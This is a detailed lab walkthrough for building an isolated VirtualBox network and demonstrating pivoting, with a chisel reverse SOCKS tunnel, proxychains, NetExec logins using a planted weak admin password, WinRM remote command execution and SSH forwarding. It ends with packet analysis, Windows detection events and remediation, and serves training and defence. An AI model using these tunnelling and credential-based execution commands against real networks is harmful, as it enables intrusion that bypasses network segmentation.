Hands-on VAPT lab · build walkthrough

Network Pivoting & Lateral Movement Lab

The complete **how & why** build guide — every command, config, and gotcha

```
KALI-ATTACKER ──[DMZ 172.16.10.0/24]── PIVOT01 ──[INTERNAL 10.0.0.0/24]── WIN-
TARGET01 172.16.10.5 .15 / 10.0.0.15 10.0.0.25 └──── no route to internal ────
tunnels through the pivot ────── Pwn3d! + RCE
```

Author: **Kashyap Naik** · Platform: VirtualBox 7.2.18 on Windows 11 (i3-1215U, 16 GB)
Built: 2026-11-02 · All work in an isolated, self-owned lab — no external systems touched.

Contents

1. What this is & how to read it
2. The blueprint: addressing & why Internal Networks
3. Phase 1 — Host inspection (feasibility)
4. Phases 2–3 — Building the VMs & networks
5. OS installation (Kali, Ubuntu, Windows) & the gotchas
6. Static IP configuration — three different stacks
7. Proving isolation (and why "Network is unreachable")
8. Phase 5 — Getting Chisel in & building the tunnel
9. Phase 6 — Proxychains
10. Phase 7 — Internal enumeration (and SOCKS gotchas)
11. Windows target config (the vulnerable setup)
12. Phase 8 — Lateral movement: Pwn3d! + RCE
13. Phase 9 — Advanced pivoting (SSH forwarding)
14. Phase 10 — Packet analysis
15. Phases 11–12 — Detection & remediation
16. Phase 13 — The automation framework
17. Troubleshooting log (every problem & fix)
18. Appendix — command & file reference

1 · What this is & how to read it

This document is the full build record of a **network pivoting and lateral movement lab** built from scratch on VirtualBox. The goal: demonstrate how an attacker who has **no network route** to an internal system can still fully compromise it — by tunnelling through one **dual-homed "pivot"** host — and then show the **blue-team** view and the fixes.

Every section gives the **exact commands** (the *how*) and the reasoning (the *why*), plus the real problems hit along the way. Read it top to bottom and you can rebuild the entire lab yourself.

> **Scope & ethics.** All three machines are self-owned VMs on isolated VirtualBox *Internal Networks* with no bridge/NAT to the home network or internet during testing. All credentials are throwaway lab values. Nothing external is ever touched.

The cast

Host	Role	IP(s)	Network(s)
KALI-ATTACKER	Attacker	172.16.10.5	DMZ-NET
PIVOT01 (Ubuntu 24.04.5)	Dual-homed pivot	172.16.10.15 & 10.0.0.15	DMZ-NET + INTERNAL-NET
WIN-TARGET01 (Win 11 LTSC)	Internal target	10.0.0.25	INTERNAL-NET

2 · The blueprint: addressing & why Internal Networks

Two isolated segments, connected only by the pivot:

```
DMZ-NET       172.16.10.0/24   (Kali + pivot's "outside" leg)
INTERNAL-NET  10.0.0.0/24      (pivot's "inside" leg + Windows target)
```

> **Why VirtualBox *Internal Networks* (not NAT/bridged)?** An Internal Network is a private virtual L2 switch that only VMs naming it can use. It is **not** connected to the host or the internet — so isolation is enforced by design, with no firewall rule to trust. Bridged mode would put the vulnerable VMs on your real home LAN (dangerous); NAT would give them internet. Internal Networks give us a clean, contained lab.

> **Why this topology proves a point.** Kali's only interface is on DMZ-NET; Windows's only interface is on INTERNAL-NET. They share no switch, so they **cannot talk directly**. Only PIVOT01 — with a leg in each — can reach both. That single fact is the entire basis of the attack (and of the segmentation control it bypasses).

3 · Phase 1 — Host inspection (feasibility)

Before building anything, confirm the laptop can run three VMs. Run these on the Windows host (PowerShell):

```
Get-CimInstance Win32_Processor | Select Name,NumberOfCores,NumberOfLogicalProcessors
Get-CimInstance Win32_ComputerSystem | % { [math]::Round($_.TotalPhysicalMemory/1GB,2) }
Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select DeviceID,Size,FreeSpace
Get-ComputerInfo -Property "HyperV*"            # virtualization / hypervisor present?
& "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" --version
& "$vbox" list vms ; & "$vbox" list intnets
```

Findings on this host: i3-1215U (6 cores / 8 threads), 15.7 GB RAM, 243 GB free, VirtualBox **7.2.18**.

> **Gotcha — contradictory VT-x flags.** `VirtualizationFirmwareEnabled` read **False** but `HyperVisorPresent` read **True**. These don't conflict: a Windows hypervisor (VBS / Memory Integrity) is *already running* and has claimed the VT-x extensions, so the OS can't "see" them. The presence of a running hypervisor **is** proof virtualization is enabled. The practical cost: VirtualBox is forced into slower Hyper-V-compat mode — the root cause of much later instability.

4 · Phases 2–3 — Building the VMs & networks

VMs are created head-lessly with `VBoxManage`. The reusable builder is `configurations/create-lab-vms.ps1`; here is what each step does, using KALI-ATTACKER as the example.

```
$vbox = "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe"
# 1. Create & register the VM (Debian type — Kali is Debian-based)
& $vbox createvm --name KALI-ATTACKER --ostype Debian_64 --register
# 2. CPU / RAM / boot order; disable clipboard+drag-drop (host⟷guest isolation)
& $vbox modifyvm KALI-ATTACKER --cpus 2 --memory 3072 --vram 32 `
      --boot1 dvd --boot2 disk --boot3 none --boot4 none `
      --clipboard-mode disabled --draganddrop disabled
# 3. NIC1 → Internal Network "DMZ-NET" only. No NAT, no bridge = no home-LAN path.
& $vbox modifyvm KALI-ATTACKER --nic1 intnet --intnet1 "DMZ-NET" `
      --nictype1 82540EM --cableconnected1 on --nicpromisc1 deny
& $vbox modifyvm KALI-ATTACKER --nic2 none --nic3 none --nic4 none
# 4. 40 GB dynamic disk + SATA controller + an empty DVD for the installer ISO
& $vbox createmedium disk --filename "...\KALI-ATTACKER.vdi" --size 40960 --format VDI
& $vbox storagectl KALI-ATTACKER --name "SATA" --add sata --controller IntelAhci --
portcount 2 --bootable on
& $vbox storageattach KALI-ATTACKER --storagectl "SATA" --port 0 --device 0 --type hdd --
medium "...\KALI-ATTACKER.vdi"
& $vbox storageattach KALI-ATTACKER --storagectl "SATA" --port 1 --device 0 --type dvddrive
--medium emptydrive
```

VM	vCPU / RAM	Disk	NIC1	NIC2
KALI-ATTACKER	2 / 3072 MB	40 GB	intnet DMZ-NET	none
PIVOT01	1 / 1536 MB	20 GB	intnet DMZ-NET	intnet INTERNAL-NET
WIN-TARGET01	2 / 4096 MB	50→65 GB	intnet INTERNAL-NET	none

> **Why these specific flags.** `--nictype 82540EM` = Intel PRO/1000, universally driver-supported. `--nicpromisc deny` keeps NICs from sniffing the switch (deliberate posture). `--boot1 dvd` boots the installer first, then disk. No DHCP server is configured on the internal networks — every host gets a **static** IP inside its guest OS, which is the controlled approach the brief wanted.

> **Gotcha — a typo cost the RAM setting.** The first run used `--boot1 dcd` (a typo). VBoxManage rejected that whole `modifyvm` command, so RAM/CPU silently stayed at defaults (1024/1). Native-exe errors don't throw in PowerShell, so it was only caught by verifying afterwards. Lesson: always re-read the result — `showvminfo --machinereadable` — don't assume success.

"Creating" the networks: there is no separate command. An Internal Network exists the moment a VM's adapter names it (`--intnet1 "DMZ-NET"`). No DHCP is run, so the networks carry only what we statically

configure.

5 · OS installation & the gotchas

Each VM boots its ISO (attached to the DVD port) and installs interactively. All ISOs were downloaded over official links and **SHA256-verified** before use.

VM	ISO	Verify
Kali	kali-linux-2026.3-installer-amd64.iso (full, not netinst)	SHA256 vs kali SHA256SUMS
Ubuntu	ubuntu-24.04.5-live-server-amd64.iso	SHA256 vs releases.ubuntu.com
Windows	windows11-enterprise-ltsc-2024-eval-x64.iso	exact byte-count (no published hash)

> **Why the *full* Kali installer, not netinst.** The lab VMs have no internet; netinst downloads packages mid-install and would fail. The full ISO is self-contained.

> **Gotcha — Windows 10 eval is gone.** Windows 10 reached end-of-support (Oct 2025); its eval page now redirects to "move to Windows 11." So the target became **Windows 11 Enterprise LTSC 2024**, which forced VM changes: EFI firmware + a virtual TPM 2.0 + a bigger (65 GB) disk:
>
> ```
> & $vbox modifyvm WIN-TARGET01 --firmware efi --tpm-type 2.0 --ostype Windows11_64
> & $vbox modifymedium disk "...\WIN-TARGET01.vdi" --resize 66560
> ```

> **Gotcha — Windows 11 had *no display* under EFI.** With VirtualBox's default `vboxvga` adapter + EFI, the screen stayed black (0×0). The fix was switching the graphics controller, then manually booting the DVD from the EFI Boot Manager:
>
> ```
> & $vbox modifyvm WIN-TARGET01 --graphicscontroller vmsvga --accelerate3d off
> ```
>
> VBoxVGA has no working EFI GOP driver; VMSVGA does.

6 · Static IP configuration — three different stacks

Each OS configures networking differently — a genuine lesson in itself.

Kali (NetworkManager)

The Kali installer put the static IP in a NetworkManager profile, **not** in `/etc/network/interfaces` (which only had loopback). A typo had set `127.16.10.5` instead of `172.16.10.5`:

```
# Identify the manager (eth0 is handled by NetworkManager, profile "Wired connection 1")
nmcli -t -f DEVICE,STATE,CONNECTION device
# Fix the address, clear gateway/DNS (isolated net needs no gateway), re-activate
sudo nmcli connection modify "Wired connection 1" ipv4.addresses 172.16.10.5/24 ipv4.method
manual
sudo nmcli connection modify "Wired connection 1" ipv4.gateway "" ipv4.dns ""
sudo nmcli connection up "Wired connection 1"
ip route     # ⇒ 172.16.10.0/24 dev eth0  ...  src 172.16.10.5  (no default route)
```

> **Gotcha — `127.x` is loopback.** With the typo the address showed `scope host` (the kernel treated 127.16.10.5 as loopback), so it could never talk on the LAN. The correct 172.16.0.0/12 is RFC-1918 private space and shows `scope global`. A one-digit slip would have silently broken all pivoting later.

Ubuntu pivot (netplan / systemd-networkd)

Ubuntu 24.04 uses netplan. The pivot is **dual-homed**, so both interfaces get a static address (matched to NICs by MAC):

```
printf 'network:\n  version: 2\n  ethernets:\n    enp0s3:\n      dhcp4: false\n
addresses: [172.16.10.15/24]\n    enp0s8:\n      dhcp4: false\n      addresses:
[10.0.0.15/24]\n' | sudo tee /etc/netplan/50-cloud-init.yaml
sudo chmod 600 /etc/netplan/50-cloud-init.yaml
echo 'network: {config: disabled}' | sudo tee /etc/cloud/cloud.cfg.d/99-disable-network-
config.cfg
sudo netplan apply
ip -br addr show        # enp0s3 UP 172.16.10.15/24 ; enp0s8 UP 10.0.0.15/24
```

> **Why two IPs, no gateway, and cloud-init disabled.** The pivot straddles both segments — that's what makes it a pivot. No gateway because there's no router. Cloud-init is disabled so it doesn't revert the static config on reboot.

Windows target (PowerShell NetTCPIP)

```
New-NetIPAddress -InterfaceAlias Ethernet -IPAddress 10.0.0.25 -PrefixLength 24
Set-NetConnectionProfile -InterfaceAlias Ethernet -NetworkCategory Private
Rename-Computer -NewName WIN-TARGET01 -Force   # applies on next reboot
```

7 · Proving isolation (and why "Network is unreachable")

Before attacking, prove the segmentation at the packet level. This is the control the whole project then bypasses.

From → To	Result	Why
Kali → pivot 172.16.10.15	reachable	same DMZ switch
Kali → Windows 10.0.0.25	"connect: Network is unreachable"	no route to 10.0.0.0/24 at all
pivot → both	reachable	a leg in each network
Windows → Kali 172.16.10.5	"transmit failed. General failure"	no route to DMZ

> **Two different failure messages, two different causes.** From Kali, `ping 10.0.0.25` fails with **"Network is unreachable"** — the kernel has no route, so it never even sends a packet. That is *stronger* than a timeout: the OS itself refuses. On Windows, pinging reports a general failure for the same reason. Also note: Windows Firewall drops inbound ICMP by default, and a bonus — ping TTL tells you the OS (64 = Linux, 128 = Windows).

8 · Phase 5 — Getting Chisel in & building the tunnel

8.1 · The supply problem

Kali already ships nmap, nxc (NetExec), impacket, evil-winrm, proxychains4, nc — but **not** chisel, and neither the pivot nor Kali has internet. Solution: give the pivot a *temporary* outbound path, download chisel inside Linux (no Windows Defender to flag it), then re-isolate.

```
# Host: hot-switch the pivot's NIC2 from INTERNAL-NET to NAT (NIC2 is already enabled)
& $vbox controlvm PIVOT01 nic2 nat
# Pivot: configure NAT addressing MANUALLY (Ubuntu 24.04 has no dhclient).
#        VirtualBox NAT on NIC *2* is the 10.0.3.0/24 subnet (per-slot!), gw .2, dns .3
sudo ip route flush default
sudo ip addr add 10.0.3.15/24 dev enp0s8
sudo ip route add default via 10.0.3.2
echo nameserver 10.0.3.3 | sudo tee /etc/resolv.conf
curl -sI https://github.com | head -1        # HTTP/2 200  → internet works
# Download + install chisel
curl -L -o /tmp/chisel.gz
https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz
gunzip -f /tmp/chisel.gz && chmod +x /tmp/chisel && sudo mv /tmp/chisel
/usr/local/bin/chisel
# Host: switch NIC2 back to INTERNAL-NET; pivot: restore the static config
& $vbox controlvm PIVOT01 nic2 intnet "INTERNAL-NET"
sudo ip addr flush dev enp0s8 ; sudo netplan apply
```

> **Gotcha #1 — Defender flags chisel on Windows.** Decompressing chisel on the host triggered Defender ("contains a virus") — it's a known hacktool/PUA. That's exactly why we fetch it inside Linux. (It's also a real blue-team IOC.)

> **Gotcha #2 — VirtualBox NAT subnet is per-NIC-slot.** NAT on NIC1 is 10.0.2.0/24; on NIC2 it's **10.0.3.0/24**. Using the wrong one is why the first `curl` hung. Match the subnet to the slot.

> **Gotcha #3 — `dhclient` is gone in 24.04.** Ubuntu moved to systemd-networkd; the ISC client isn't installed. Hence the manual `ip addr/route` approach above.

8.2 · Moving chisel to Kali (no internet, stay isolated)

Serve it from the pivot over the (already-working) DMZ with a throwaway HTTP server:

```
# Pivot: serve chisel on the DMZ interface
mkdir -p /tmp/srv && cp /usr/local/bin/chisel /tmp/srv/
cd /tmp/srv && nohup python3 -m http.server 8000 --bind 172.16.10.15 &
```

```
# Kali: pull it
curl -s http://172.16.10.15:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
/tmp/chisel --version    # 1.12.0
```

8.3 · The reverse SOCKS tunnel

```
# KALI (server) — listens on 8080, allows reverse tunnels
/tmp/chisel server -p 8080 --reverse --socks5
# PIVOT (client) — dials BACK to Kali, requests a reverse SOCKS tunnel
/usr/local/bin/chisel client 172.16.10.5:8080 R:socks
# Result on KALI:
ss -tlnp | grep 1080     # LISTEN 127.0.0.1:1080  (chisel)  ≤ the SOCKS5 proxy
```

> **What `R:socks` means & why reverse.** `R:` = reverse: the SOCKS5 proxy is opened on the *server* (Kali) at 127.0.0.1:1080, and traffic is tunnelled to the client (pivot), which makes the real connection into the internal network. **Reverse** matters because the *victim* initiates the outbound connection — bypassing inbound firewalls/NAT, exactly how a real compromised host "calls home".

9 · Phase 6 — Proxychains

proxychains "wraps" a tool's network calls onto the SOCKS proxy. A local config points it at the tunnel (no need to edit the system `/etc/proxychains4.conf`):

```
printf 'strict_chain\nquiet_mode\nproxy_dns\ntcp_read_time_out 15000\ntcp_connect_time_out
8000\n[ProxyList]\nsocks5 127.0.0.1 1080\n' > ~/pc.conf
# Use it:
proxychains4 -f ~/pc.conf <any-tcp-tool> <internal-target>
```

> **Why SOCKS5 and why 1080.** SOCKS5 proxies arbitrary TCP (and the chisel tunnel presents a SOCKS5 endpoint on Kali's 127.0.0.1:1080). `strict_chain` forces traffic through our one proxy; `proxy_dns` routes name lookups through it too. We mostly use raw IPs, so DNS isn't critical here.

10 · Phase 7 — Internal enumeration (and SOCKS gotchas)

```
# Prove the tunnel reaches the internal net with a single blocking connect (reliable)
proxychains4 -f ~/pc.conf nc -zv -w 8 10.0.0.15 22
# ⇒ Strict chain  ...  127.0.0.1:1080  ...  10.0.0.15:22  ...  OK   (pivot's own SSH)
```

> **Gotcha — nmap lies through SOCKS.** `proxychains nmap -sT` reported *every* port as "filtered" and finished in 0.07s. nmap's parallel non-blocking connect-scan doesn't cooperate with the SOCKS wrapper. A single blocking `nc` connection shows the truth ("OK"). Rule: through a SOCKS pivot, prefer `nc` /tool-native checks over nmap connect scans.

Service fingerprint via NetExec through the tunnel (after the target firewall is opened — see §11):

```
proxychains4 -f ~/pc.conf nxc smb 10.0.0.25
# SMB 10.0.0.25 WIN-TARGET01  Windows 11/Server 2025 Build 26100 x64 (signing:True)
(SMBv1:None)
```

> **Gotcha — ICMP never tunnels.** SOCKS carries TCP only. You can't `ping` through the tunnel; "host up" must be judged by a TCP connect.

11 · Windows target config (the vulnerable setup)

Driven from an elevated PowerShell inside WIN-TARGET01. This deliberately exposes the services and plants the weak credential that make lateral movement possible.

Open the firewall & enable remoting

```
Enable-NetFirewallRule -DisplayGroup 'File and Printer Sharing'      # SMB 445/139
Enable-NetFirewallRule -DisplayGroup 'Windows Remote Management'     # WinRM 5985
Enable-PSRemoting -Force -SkipNetworkProfileCheck
# ⇒ "Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely to
local users"
```

The deliberately-weak local admin (the misconfiguration)

```
New-LocalUser -Name 'labadmin' -Password (ConvertTo-SecureString 'Lab@12345' -AsPlainText -
Force) `
  -FullName 'Lab Admin' -Description 'Deliberately weak lab admin' -PasswordNeverExpires -
AccountNeverExpires
Add-LocalGroupMember -Group 'Administrators' -Member 'labadmin'
Add-LocalGroupMember -Group 'Remote Management Users' -Member 'labadmin'
```

Allow ICMP (so the pivot can ping it) & a loose share

```
New-NetFirewallRule -DisplayName 'Lab-Allow-ICMPv4-In' -Protocol ICMPv4 -IcmpType 8 -
Direction Inbound -Action Allow -Profile Any
New-Item C:\LabShare -ItemType Directory -Force
New-SmbShare -Name 'LabShare' -Path C:\LabShare -FullAccess 'Everyone'
```

> **Gotcha — the `$pw` variable vanished.** Passing the password via a host-side `$pw` in a driven command let the *host* shell expand it to empty first, so New-LocalUser failed. Fix: inline the SecureString directly (as above), no variable.

> **Why `labadmin` is a local admin with a weak password.** This is the classic real-world misconfiguration the lab models — a guessable admin credential is what turns "I can reach port 445" into full host compromise.

12 · Phase 8 — Lateral movement: Pwn3d! + RCE

All run on Kali, through the tunnel. First confirm the services are now reachable:

```
proxychains4 -f ~/pcv.conf nc -zv -w 8 10.0.0.25 445    #  ...  445 (microsoft-ds) open
proxychains4 -f ~/pcv.conf nc -zv -w 8 10.0.0.25 5985   #  ...  5985 open
```

Authenticate & list shares (lateral movement)

```
proxychains4 -f ~/pc.conf nxc smb 10.0.0.25 -u labadmin -p 'Lab@12345' --shares
# [+] WIN-TARGET01\labadmin:Lab@12345 (Pwn3d!)
# ADMIN$  READ,WRITE   |   C$  READ,WRITE   |   IPC$  READ
```

> **What (Pwn3d!) means.** NetExec prints it when the credential grants **local administrator** access. READ/WRITE on `C$` and `ADMIN$` = full control of the host — from a machine that can't even route to it directly.

Remote code execution

```
# WMI/DCOM FAILS through SOCKS (dynamic high ports, e.g. 49673, don't tunnel):
proxychains4 -f ~/pc.conf nxc smb 10.0.0.25 -u labadmin -p 'Lab@12345' -x 'whoami'   # DCOM
error
# WinRM WORKS (single fixed port 5985 tunnels cleanly):
proxychains4 -f ~/pc.conf nxc winrm 10.0.0.25 -u labadmin -p 'Lab@12345' -X 'whoami;
hostname'
# [+] Executed command (shell type: powershell)
# win-target01\labadmin
# WIN-TARGET01
```

> **Gotcha — exec method matters through a pivot.** WMI/DCOM negotiates random high ports a SOCKS tunnel can't forward. **WinRM uses only port 5985**, so it tunnels perfectly. This is the key "which tool works through a pivot" lesson.

13 · Phase 9 — Advanced pivoting (SSH forwarding)

Chisel is one way; SSH gives native alternatives when you have an SSH account on the pivot.

Technique	Command (from Kali)	Use when
Local forward `-L`	ssh -L 127.0.0.1:4445:10.0.0.25:445 pivot@172.16.10.15	one known service
Dynamic / SOCKS `-D`	ssh -D 127.0.0.1:1081 pivot@172.16.10.15	reach any internal host:port
Remote forward `-R`	ssh -R 127.0.0.1:4445:10.0.0.25:445 attacker@172.16.10.5	victim can only call out (reverse)
Multi-hop	ssh -J pivot@172.16.10.15,user@10.0.0.50 deep@10.1.0.10	a 2nd network behind a 2nd pivot

> **The concepts, kept straight. Port forwarding** = one door (a single host:port). **SOCKS proxying** = the whole building (any destination the pivot can reach), via one proxy port. **IP routing** would forward entire subnets but is noisy — deliberately left off here (`ip_forward=0`). **Tunnelling** is the encapsulation that carries any of these across a boundary. **Pivoting** is the overall goal. Build multi-hop only after the basic two-network pivot works.

14 · Phase 10 — Packet analysis

A live capture on the pivot (which sees *both* sides) while the attack ran:

```
sudo tcpdump -i any -w /tmp/pivot-capture.pcap 'tcp port 8080 or tcp port 445 or tcp port
5985'
# (trigger traffic from Kali) then analyse:
sudo tcpdump -r /tmp/pivot-capture.pcap -nn 'tcp port 8080' | head   # DMZ: tunnel only
sudo tcpdump -r /tmp/pivot-capture.pcap -nn 'tcp port 445'  | head   # internal: SMB
```

Traffic	Interface	Packets
Chisel tunnel (to attacker, 8080)	enp0s3 (DMZ)	387
SMB (to target, 445)	enp0s8 (INTERNAL)	214
WinRM (to target, 5985)	enp0s8 (INTERNAL)	57

> **The finding — tunnelling blinds each vantage point.** On the **DMZ** side every packet is just `172.16.10.15 ⇄ 172.16.10.5:8080` (the encrypted tunnel) — the SMB attack is hidden inside it. On the **internal** side the SMB appears to come from the **pivot** (10.0.0.15), never from the real attacker (172.16.10.5). So a DMZ IDS can't inspect the attack and an internal IDS mis-attributes it — which is why egress monitoring and true segmentation are the highest-value controls.

15 · Phases 11–12 — Detection & remediation (summary)

Detect (full guide in `detection/`)

Correlate across three places: the **pivot** (hacktool on disk + new outbound session + SOCKS listener), the **network** (long-lived low-volume session to an odd host), and the **target** Security log:

Event ID	Meaning
4624 (type 3)	network logon — `labadmin` from the pivot's IP
4672	admin privileges assigned at logon
5140 / 5145	access to `ADMIN$` / `C$` shares
4688	process creation (enable command-line auditing)
5156	WFP permitted 445/5985

Enable with: `auditpol /set /subcategory:"Logon" /success:enable /failure:enable` (and Process Creation, File Share), plus PowerShell Script-Block Logging.

Remediate (full plan in `remediation/`)

1. **Kill the dual-homing** — no DMZ host in the internal net. ⬛ breaks the chain.
2. **Default-deny egress** on the pivot — the reverse tunnel can't call out. ⬛ breaks the chain.
3. **Remove the weak admin** / deploy LAPS — `nxc` auth fails, no Pwn3d!.
4. **Scope SMB/WinRM** to jump hosts only (`Set-NetFirewallRule -RemoteAddress`).

16 · Phase 13 — The automation framework

13 scripts in `scripts/`, one per phase, sharing `lab_config.py`. The design principle: **every script refuses to touch anything outside the lab** and **verifies real results** (no silent "success").

```
# lab_config.py — the hard safety guard every script imports
_ALLOWED_NETS = [ip_network("172.16.10.0/24"), ip_network("10.0.0.0/24")]
def assert_lab_target(ip):
    if not any(ip_address(ip) in n for n in _ALLOWED_NETS):
        raise OutOfScopeError(f"REFUSED: {ip} is not inside the lab networks")
    return ip
```

```
# tunnel_verify.py — proves the tunnel for real: a true SOCKS5 handshake + TCP connect
def socks5_connect(dst_ip, dst_port):
    assert_lab_target(dst_ip)
    s = socket.create_connection(("127.0.0.1", 1080))
    s.sendall(b"\x05\x01\x00")                      # SOCKS5, no-auth
    ...  # send CONNECT, check reply byte == 0x00 before claiming success
```

Script	Does
host_check / network_check	resources & which lab net you're on
dmz_scan / initial_access_check	DMZ sweep; pivot SSH foothold
chisel_server.sh / chisel_client.sh	launch the tunnel
tunnel_verify / proxychains_check	verify the tunnel really carries traffic
internal_scan / smb_enum	scan & enumerate the target through the tunnel
lateral_movement_lab	non-destructive auth + read-only RCE
log_analyzer / report_generator	blue-team IOC hunt; live status report

17 · Troubleshooting log (every problem & fix)

The real learning. Each of these cost time and taught something.

Problem	Root cause	Fix
VT-x flags contradict	VBS/Memory Integrity owns the hypervisor	informational; expect slower VMs
Kali RAM stayed 1024	`--boot1 dcd` typo rejected the whole modifyvm	fix flag, re-verify with showvminfo
Windows 11 black screen (0×0)	vboxvga has no EFI GOP driver	`--graphicscontroller vmsvga`
Won't boot the ISO under EFI	DVD not auto-selected	EFI Boot Manager → UEFI VBOX CD-ROM
Install hung on black screen	slow Hyper-V-mode transition	`controlvm reset` (not power-off)
Kali IP = 127.16.10.5	typo; lives in NetworkManager, not /etc/network/interfaces	`nmcli connection modify`
pivot→Windows ping fails	Windows was off (eval auto-shutdown)	not a network bug — start the VM
Windows shuts down ~hourly	expired eval license (2024 ISO, 2026 clock)	slmgr /rearm (clock-rollback blocked by secure-time-seeding)
UAC launch kept failing	UAC default button was "No", Enter cancelled it	Left-arrow to "Yes" first
chisel flagged by Defender	it's a known hacktool/PUA	download inside Linux; it's also an IOC
curl hung after NIC2→NAT	NAT on NIC2 = 10.0.3.0/24, not 10.0.2.x	use the per-slot subnet
dhclient: command not found	removed in Ubuntu 24.04	manual `ip addr/route`
nmap all "filtered" through SOCKS	parallel non-blocking connects	use `nc` single connects
WMI exec fails through tunnel	DCOM dynamic high ports don't tunnel	use WinRM (single port 5985)
New-LocalUser empty password	host shell ate the `$pw` variable	inline the SecureString

18 · Appendix — command & file reference

Lab credentials (throwaway, lab-only)

Host	Account	Password	Note
WIN-TARGET01	labadmin	Lab@12345	local admin — the planted misconfig
WIN-TARGET01	kashyap	(your OOBE pw)	primary admin
PIVOT01 / Kali	pivot / kashyap	(your install pw)	used only for local login/sudo

Project layout

```
README.md  .gitignore
architecture/    network-topology.md · attack-flow.md
attack-scenarios/ advanced-pivoting.md
configurations/  create-lab-vms.ps1 · download-isos.ps1
detection/       blue-team-detection-guide.md · windows-audit-policy-setup.md
remediation/     remediation-plan.md · hardening-checklist.md
reports/         penetration-test-report.md · .json · linkedin-post.md
screenshots/     01-10  (isolation, tunnel, Pwn3d!, RCE, packet capture)
scripts/         13 scripts + lab_config.py + README
packet-captures/ packet-analysis.md + 2 images
troubleshooting/ phase1-feasibility-report.md · iso-download-guide.md
```

End of guide. Built and documented by Kashyap Naik. All work performed in an isolated, self-owned lab — no external systems were accessed.